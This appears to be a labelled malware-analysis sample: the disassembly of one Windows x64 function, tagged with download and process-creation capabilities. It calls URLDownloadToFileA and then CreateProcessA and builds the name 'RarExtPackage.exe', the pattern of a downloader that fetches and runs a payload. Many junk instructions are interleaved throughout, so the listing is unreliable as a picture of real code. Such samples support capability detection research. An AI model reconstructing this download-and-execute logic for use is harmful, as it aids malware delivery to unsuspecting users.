Function at 0x14000bf52
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
ror r8w, 0x5d
cdqe
shl r8b, 0x67
mov qword [rsp + 0x20], rdi
push rbp
movzx r8d, r14w
xadd ebx, eax
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140008040]
movsx ebx, r10w
shl r8b, 0xe
stc
xor rax, rsp
ror bl, cl
bts bx, r10w
btc bx, 0x10
mov qword [rbp + 0x38], rax
bts r8w, ax
btc r8w, bp
mov rbx, rdx
shr r8w, cl
movzx r8, r9w
mov r8, rdx
cmp r11b, 0xb5
cmp qword [rdx + 0x18], 0xf
jmp 0x14000bfc4
jbe 0x14000bfcd
mov r8, qword [rdx]
cmp qword [rcx + 0x18], 0xf
jmp 0x14000bfd7
jbe 0x14000bfe9
mov rcx, qword [rcx]
not dl
shl rdx, 0x76
xor dh, 0xe0
sub edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rcx
cmp rsp, r10
sub ecx, ecx
jmp 0x14000c000
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jmp 0x14000c00d
jne 0x14000c329
mov dword [rbp - 0x50], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
adc edx, eax
bts dx, bx
movups xmmword [rbp - 0x18], xmm0
bt dx, 0xe2
movups xmmword [rbp - 8], xmm0
xchg dx, dx
inc dh
movups xmmword [rbp + 8], xmm0
rcl dl, cl
bts dx, r10w
mov rdx, rbx
cmp r13, 0x510c779d
cmp qword [rbx + 0x18], 0xf
jbe 0x14000c067
mov rdx, qword [rbx]
movsx eax, bp
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
bsr eax, esp
shl ax, 0xfb
sub eax, esp
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
test r12, 0x5d6c3b18
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
clc
mov dword [rsp + 0x20], edi
cmp dh, 0xb3
test r8b, 0x24
sub r9d, r9d
clc
test rsi, rsp
xor r8d, r8d
xor ecx, ecx
jmp 0x14000c0b8
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
jmp 0x14000c0cb
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov ecx, 0x20
call fcn.140002e48
mov qword [rsp + 0x50], rax
jmp 0x14000c0e8
movdqa xmm0, xmmword [0x1400056a0]
movdqu xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [str.RarExtPackage.exe]
bswap dx
movups xmmword [rax], xmm0
movsxd rcx, edx
movzx dx, bpl
movzx ecx, byte [0x140005578]
xchg dl, dl
jmp 0x14000c11c
mov byte [rax + 0x10], cl
bswap ecx
xchg rdx, rcx
mov byte [rax + 0x11], dil
mov dl, r9b
lea rdx, [rsp + 0x50]
xchg ch, ch
movzx ecx, dx
lea rcx, [rbp - 0x70]
jmp 0x14000c13e
call fcn.140001240
nop
mov rdx, rbx
xchg cl, cl
lea rcx, [rsp + 0x70]
call fcn.140001240
nop
lea rdx, [rsp + 0x70]
movzx cx, r9b
lea rcx, [rbp - 0x70]
jmp 0x14000c167
call fcn.14000aa51
nop
cmp r12b, sil
mov rdx, qword [rbp - 0x78]
cmc
clc
cmp rdx, 7
jbe 0x14000c1f7
lea rdx, [rdx*2 + 2]
btr ecx, esp
rol cx, 0x39
bsf ax, r13w
mov rcx, qword [rsp + 0x70]
stc
sal al, 3
mov rax, rcx
stc
cmp rdx, 0x1000
jmp 0x14000c1ad
jb 0x14000c1f2
add rdx, 0x27
cmp r10b, r12b
mov rcx, qword [rcx - 8]
clc
test cl, 2
sub rax, rcx
jmp 0x14000c1ce
add rax, 0xfffffffffffffff8
jmp 0x14000c1d7
cmp rax, 0x1f
jmp 0x14000c1e0
jbe 0x14000c1f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002e40
movdqa xmm0, xmmword [0x140005660]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], di
movsx edx, bx
shr rdx, cl
cmovo dx, sp
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000c27e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
nop
mov rax, rcx
test r12b, al
cmp rdx, 0x1000
jb 0x14000c271
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
jmp 0x14000c256
cmp rax, 0x1f
jmp 0x14000c25f
jbe 0x14000c271
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002e40
movdqa xmm0, xmmword [0x140005660]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], di
bts dx, di
xor edx, esp
sar dl, cl
mov rdx, qword [rsp + 0x68]
clc
test cl, r14b
cmp rdx, 0xf
jmp 0x14000c2a1
jbe 0x14000c31d
inc rdx
sal al, cl
rol ah, 0x68
mov rcx, qword [rsp + 0x50]
rcr al, cl
mov rax, rcx
test di, 0x6cf0
cmp r12w, sp
cmp rdx, 0x1000
jmp 0x14000c2ce
jb 0x14000c318
add rdx, 0x27
test ax, 0x4d31
cmp si, cx
clc
mov rcx, qword [rcx - 8]
test dl, 0x2a
test r8, rsi
cmc
sub rax, rcx
clc
add rax, 0xfffffffffffffff8
test r14b, cl
test r9d, 0x3a581e2c
cmp rax, 0x1f
jmp 0x14000c306
jbe 0x14000c318
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002e40
mov al, 1
jmp 0x14000c324
jmp 0x14000c32b
xor al, al
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
jmp 0x14000c337
call fcn.140002e20
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x20]
movzx edi, di
mov di, 0x73bf
mov rdi, qword [r11 + 0x28]
cmova ebp, r8d
movsx bp, spl
mov rsp, r11
pop rbp
ret